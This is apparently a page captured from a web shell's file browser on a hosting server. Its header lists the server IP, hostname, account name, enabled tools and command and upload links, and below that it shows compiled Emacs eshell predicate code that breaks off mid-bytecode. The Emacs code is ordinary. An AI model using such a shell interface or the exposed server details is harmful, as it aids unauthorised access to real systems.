Server IP : 111.118.215.189 / Your IP : 18.116.81.133 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/eshell/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:10:51 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/eshell/em-pred.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301\302\303\304\305\306\307&\210\310\311\302\312\313\314\315\316\306\301& \210\310\317\320\321\315\322\306\301&\210\323\317\324\325#\210\310\326\327\330\315\331\306\301&\210\323\326\324\325#\207" [custom-declare-group eshell-pred nil "This module allows for predicates to be applied to globbing\npatterns (similar to zsh), in addition to string modifiers which can\nbe applied either to globbing results, variable references, or just\nordinary strings." :tag "Value modifiers and predicates" :group eshell-module custom-declare-variable eshell-pred-load-hook "A list of functions to run when `eshell-pred' is loaded." :version "24.1" :type hook eshell-predicate-alist '((47 eshell-pred-file-type 100) (46 eshell-pred-file-type 45) (115 eshell-pred-file-type 115) (112 eshell-pred-file-type 112) (64 eshell-pred-file-type 108) (37 eshell-pred-file-type 37) (114 eshell-pred-file-mode 400) (119 eshell-pred-file-mode 200) (120 eshell-pred-file-mode 100) (65 eshell-pred-file-mode 40) (73 eshell-pred-file-mode 20) (69 eshell-pred-file-mode 10) (82 eshell-pred-file-mode 4) (87 eshell-pred-file-mode 2) (88 eshell-pred-file-mode 1) (115 eshell-pred-file-mode 4000) (83 eshell-pred-file-mode 2000) (116 eshell-pred-file-mode 1000) (85 function (lambda (file) (if (file-exists-p file) (= (nth 2 (file-attributes file)) (user-uid))))) (42 function (lambda (file) (and (file-regular-p file) (not (file-symlink-p file)) (file-executable-p file)))) (108 eshell-pred-file-links) (117 eshell-pred-user-or-group 117 "user" 2 'eshell-user-id) (103 eshell-pred-user-or-group 103 "group" 3 'eshell-group-id) (97 eshell-pred-file-time 97 "access" 4) (109 eshell-pred-file-time 109 "modification" 5) (99 eshell-pred-file-time 99 "change" 6) (76 eshell-pred-file-size)) "A list of predicates than can be applied to a globbing pattern.\nThe format of each entry is\n\n (CHAR . PREDICATE-FUNC-SEXP)" (repeat (cons character sexp)) put risky-local-variable t eshell-modifier-alist '((69 function (lambda (lst) (mapcar #'(lambda (str) (eshell-stringify (car (eshell-parse-argument str)))) lst))) (76 function (lambda (lst) (mapcar 'downcase lst))) (85 function (lambda (lst) (mapcar 'upcase lst))) (67 function (lambda (lst) (mapcar 'capitalize lst))) (104 function (lambda (lst) (mapcar 'file-name-directory lst))) (105 eshell-include-members) (120 eshell-include-members t) (114 function (lambda (lst) (mapcar 'file-name-sans-extension lst))) (101 function (lambda (lst) (mapcar 'file-name-extension lst))) (116 function (lambda (lst) (mapcar 'file-name-nondirectory lst))) (113 function (lambda (lst) (mapcar 'eshell-escape-arg lst))) (117 function (lambda (lst) (eshell-uniqify-list lst))) (111 function (lambda (lst) (sort lst 'string-lessp))) (79 function (lambda (lst) (nreverse (sort lst 'string-lessp)))) (106 eshell-join-members) (83 eshell-split-members) (82 quote reverse) (103 progn (forward-char) (if (eq (char-before) 115) (eshell-pred-substitute t) (error "`g' modifier cannot be used alone"))) (115 eshell-pred-substitute)) "A list of modifiers than can be applied to an argument expansion.\nThe format of each entry is\n\n (CHAR ENTRYWISE-P MODIFIER-FUNC-SEXP)" (repeat (cons character sexp))] 10) (defvar eshell-predicate-help-string "Eshell predicate quick reference:\n\n - follow symbolic references for predicates after the `-'\n ^ invert sense of predicates after the `^'\n\nFILE TYPE:\n / directories s sockets\n . regular files p named pipes\n * executable (files only) @ symbolic links\n\n %x file type == `x' (as by ls -l; so `c' = char device, etc.)\n\nPERMISSION BITS (for owner/group/world):\n r/A/R readable s setuid\n w/I/W writable S setgid\n x/E/X executable t sticky bit\n\nOWNERSHIP:\n U owned by effective uid\n u(UID|'user') owned by UID/user\n g(GID|'group') owned by GID/group\n\nFILE ATTRIBUTES:\n l[+-]N +/-/= N links\n a[Mwhms][+-](N|'FILE') access time +/-/= N months/weeks/hours/mins/secs\n (days if unspecified) if FILE specified,\n use as comparison basis; so a+'file.c'\n shows files accessed before file.c was\n last accessed\n m[Mwhms][+-](N|'FILE') modification time...\n c[Mwhms][+-](N|'FILE') change time...\n L[kmp][+-]N file size +/-/= N Kb/Mb/blocks\n\nEXAMPLES:\n *(^@) all non-dot files which are not symlinks\n .#*(^@) all files which are not symbolic links\n **/.#*(*) all executable files, searched recursively\n ***/*~f*(-/) recursively (though not traversing symlinks),\n find all directories (or symlinks referring to\n directories) whose names do not begin with f.\n e*(*Lk+50) executables 50k or larger beginning with 'e'") (defvar eshell-modifier-help-string "Eshell modifier quick reference:\n\nFOR SINGLE ARGUMENTS, or each argument of a list of strings:\n E evaluate again\n L lowercase\n U uppercase\n C capitalize\n h dirname\n t basename\n e file extension\n r strip file extension\n q escape special characters\n\n S split string at any whitespace character\n S/PAT/ split string at each occurrence of PAT\n\nFOR LISTS OF ARGUMENTS:\n o sort alphabetically\n O reverse sort alphabetically\n u uniq list (typically used after :o or :O)\n R reverse list\n\n j join list members, separated by a space\n j/PAT/ join list members, separated by PAT\n i/PAT/ exclude all members not matching PAT\n x/PAT/ exclude all members matching PAT\n\n s/pat/match/ substitute PAT with MATCH\n g/pat/match/ substitute PAT with MATCH for all occurrences\n\nEXAMPLES:\n *.c(:o) sorted list of .c files") (defalias 'eshell-display-predicate-help #[nil "\300\301!\207" [with-electric-help #[nil "c\207" [eshell-predicate-help-string] 1]] 2 nil nil]) (defalias 'eshell-display-modifier-help #[nil "\300\301!\207" [with-electric-help #[nil "c\207" [eshell-modifier-help-string] 1]] 2 nil nil]) #@41 Initialize the predicate/modifier code. (defalias 'eshell-pred-initialize #[nil "\301\302\303\304\211$\210\305\306\307#\210\305\310\311#\207" [eshell-command-map add-hook eshell-parse-argument-hook eshell-parse-arg-modifier t define-key [(meta 113)] eshell-display-predicate-help [(meta 109)] eshell-display-modifier-help] 5 (#$ . 6506)]) #@53 Apply to LIST a series of PREDICATES and MODIFIERS. (defalias 'eshell-apply-modifiers #[(lst predicates modifiers) "\304 ;\203\f C\305 <\2058 \306 \304\n#\203'